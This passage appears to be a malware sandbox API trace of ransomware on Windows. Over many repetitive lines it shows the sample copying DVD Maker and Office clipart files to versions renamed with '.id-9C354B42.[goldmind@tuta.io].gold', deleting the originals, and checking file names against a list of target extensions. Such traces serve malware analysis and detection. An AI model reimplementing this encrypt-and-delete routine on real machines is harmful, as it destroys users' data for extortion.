maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.347] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0090.374] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.374] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.570] GetLastError () returned 0x0 [0090.570] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x9c5e, lpOverlapped=0x0) returned 1 [0090.603] WriteFile (in: hFile=0x398, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x9c60, lpOverlapped=0x0) returned 1 [0090.604] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0090.604] WriteFile (in: hFile=0x398, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.604] SetEndOfFile (hFile=0x398) returned 1 [0090.608] CloseHandle (hObject=0x398) returned 1 [0090.608] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.608] SetEndOfFile (hFile=0x364) returned 1 [0090.635] CloseHandle (hObject=0x364) returned 1 [0090.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0090.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0090.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0090.887] lstrlenW (lpString=".doc") returned 4 [0090.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.887] lstrlenW (lpString=".docx") returned 5 [0090.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.887] lstrlenW (lpString=".pdf") returned 4 [0090.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.887] lstrlenW (lpString=".xls") returned 4 [0090.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.887] lstrlenW (lpString=".xlsx") returned 5 [0090.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.887] lstrlenW (lpString=".ppt") returned 4 [0090.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0090.887] lstrlenW (lpString=".zip") returned 4 [0090.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.887] lstrlenW (lpString=".rar") returned 4 [0090.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.887] lstrlenW (lpString=".bz2") returned 4 [0090.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.888] lstrlenW (lpString=".7z") returned 3 [0090.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0090.888] lstrlenW (lpString=".dbf") returned 4 [0090.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0090.888] lstrlenW (lpString=".1cd") returned 4 [0090.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0090.888] lstrlenW (lpString=".jpg") returned 4 [0090.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0090.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0090.888] lstrlenW (lpString=".doc") returned 4 [0090.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.888] lstrlenW (lpString=".docx") returned 5 [0090.888] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.888] lstrlenW (lpString=".pdf") returned 4 [0090.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.888] lstrlenW (lpString=".xls") returned 4 [0090.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.888] lstrlenW (lpString=".xlsx") returned 5 [0090.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.888] lstrlenW (lpString=".ppt") returned 4 [0090.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0090.888] lstrlenW (lpString=".zip") returned 4 [0090.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.888] lstrlenW (lpString=".rar") returned 4 [0090.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.888] lstrlenW (lpString=".bz2") returned 4 [0090.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.888] lstrlenW (lpString=".7z") returned 3 [0090.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0090.888] lstrlenW (lpString=".dbf") returned 4 [0090.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0090.888] lstrlenW (lpString=".1cd") returned 4 [0090.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0090.888] lstrlenW (lpString=".jpg") returned 4 [0090.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.888] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.888] lstrlenW (lpString="DD00449_.WMF") returned 12 [0090.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.896] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=9992) returned 1 [0090.896] CloseHandle (hObject=0x39c) returned 1 [0090.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x20 [0090.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.896] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.896] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0090.898] GetLastError () returned 0x0 [0090.898] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2708, lpOverlapped=0x0) returned 1 [0090.908] WriteFile (in: hFile=0x230, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2710, lpOverlapped=0x0) returned 1 [0090.910] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0090.910] WriteFile (in: hFile=0x230, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.910] SetEndOfFile (hFile=0x230) returned 1 [0090.910] CloseHandle (hObject=0x230) returned 1 [0090.910] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.910] SetEndOfFile (hFile=0x39c) returned 1 [0090.912] CloseHandle (hObject=0x39c) returned 1 [0090.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0090.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0090.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0090.914] lstrlenW (lpString=".doc") returned 4 [0090.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.914] lstrlenW (lpString=".docx") returned 5 [0090.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.914] lstrlenW (lpString=".pdf") returned 4 [0090.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.914] lstrlenW (lpString=".xls") returned 4 [0090.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.914] lstrlenW (lpString=".xlsx") returned 5 [0090.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.914] lstrlenW (lpString=".ppt") returned 4 [0090.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0090.914] lstrlenW (lpString=".zip") returned 4 [0090.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.914] lstrlenW (lpString=".rar") returned 4 [0090.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.914] lstrlenW (lpString=".bz2") returned 4 [0090.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.914] lstrlenW (lpString=".7z") returned 3 [0090.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0090.914] lstrlenW (lpString=".dbf") returned 4 [0090.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0090.914] lstrlenW (lpString=".1cd") returned 4 [0090.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0090.915] lstrlenW (lpString=".jpg") returned 4 [0090.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0090.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0090.915] lstrlenW (lpString=".doc") returned 4 [0090.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.915] lstrlenW (lpString=".docx") returned 5 [0090.915] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.915] lstrlenW (lpString=".pdf") returned 4 [0090.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.915] lstrlenW (lpString=".xls") returned 4 [0090.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.915] lstrlenW (lpString=".xlsx") returned 5 [0090.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.915] lstrlenW (lpString=".ppt") returned 4 [0090.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0090.915] lstrlenW (lpString=".zip") returned 4 [0090.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.915] lstrlenW (lpString=".rar") returned 4 [0090.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.915] lstrlenW (lpString=".bz2") returned 4 [0090.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.915] lstrlenW (lpString=".7z") returned 3 [0090.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0090.915] lstrlenW (lpString=".dbf") returned 4 [0090.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0090.915] lstrlenW (lpString=".1cd") returned 4 [0090.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0090.915] lstrlenW (lpString=".jpg") returned 4 [0090.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.915] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.915] lstrlenW (lpString="DD01015_.WMF") returned 12 [0090.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.916] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2226) returned 1 [0090.916] CloseHandle (hObject=0x39c) returned 1 [0090.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x20 [0090.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.916] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.916] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0090.917] GetLastError () returned 0x0 [0090.917] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x8b2, lpOverlapped=0x0) returned 1 [0090.927] WriteFile (in: hFile=0x230, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0090.928] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0090.928] WriteFile (in: hFile=0x230, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.928] SetEndOfFile (hFile=0x230) returned 1 [0090.975] CloseHandle (hObject=0x230) returned 1 [0090.975] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.975] SetEndOfFile (hFile=0x39c) returned 1 [0090.978] CloseHandle (hObject=0x39c) returned 1 [0090.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0090.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0090.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0090.979] lstrlenW (lpString=".doc") returned 4 [0090.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.979] lstrlenW (lpString=".docx") returned 5 [0090.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.979] lstrlenW (lpString=".pdf") returned 4 [0090.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.979] lstrlenW (lpString=".xls") returned 4 [0090.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.979] lstrlenW (lpString=".xlsx") returned 5 [0090.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.979] lstrlenW (lpString=".ppt") returned 4 [0090.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0090.979] lstrlenW (lpString=".zip") returned 4 [0090.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.979] lstrlenW (lpString=".rar") returned 4 [0090.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.979] lstrlenW (lpString=".bz2") returned 4 [0090.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.979] lstrlenW (lpString=".7z") returned 3 [0090.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0090.979] lstrlenW (lpString=".dbf") returned 4 [0090.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0090.979] lstrlenW (lpString=".1cd") returned 4 [0090.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0090.979] lstrlenW (lpString=".jpg") returned 4 [0090.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0090.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0090.979] lstrlenW (lpString=".doc") returned 4 [0090.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.979] lstrlenW (lpString=".docx") returned 5 [0090.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.979] lstrlenW (lpString=".pdf") returned 4 [0090.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.980] lstrlenW (lpString=".xls") returned 4 [0090.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.980] lstrlenW (lpString=".xlsx") returned 5 [0090.980] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.980] lstrlenW (lpString=".ppt") returned 4 [0090.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0090.980] lstrlenW (lpString=".zip") returned 4 [0090.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.980] lstrlenW (lpString=".rar") returned 4 [0090.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.980] lstrlenW (lpString=".bz2") returned 4 [0090.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.980] lstrlenW (lpString=".7z") returned 3 [0090.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0090.980] lstrlenW (lpString=".dbf") returned 4 [0090.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0090.980] lstrlenW (lpString=".1cd") returned 4 [0090.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0090.980] lstrlenW (lpString=".jpg") returned 4 [0090.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.980] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.980] lstrlenW (lpString="DD01139_.WMF") returned 12 [0090.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0091.047] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3632) returned 1 [0091.047] CloseHandle (hObject=0x3a4) returned 1 [0091.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x20 [0091.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0091.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 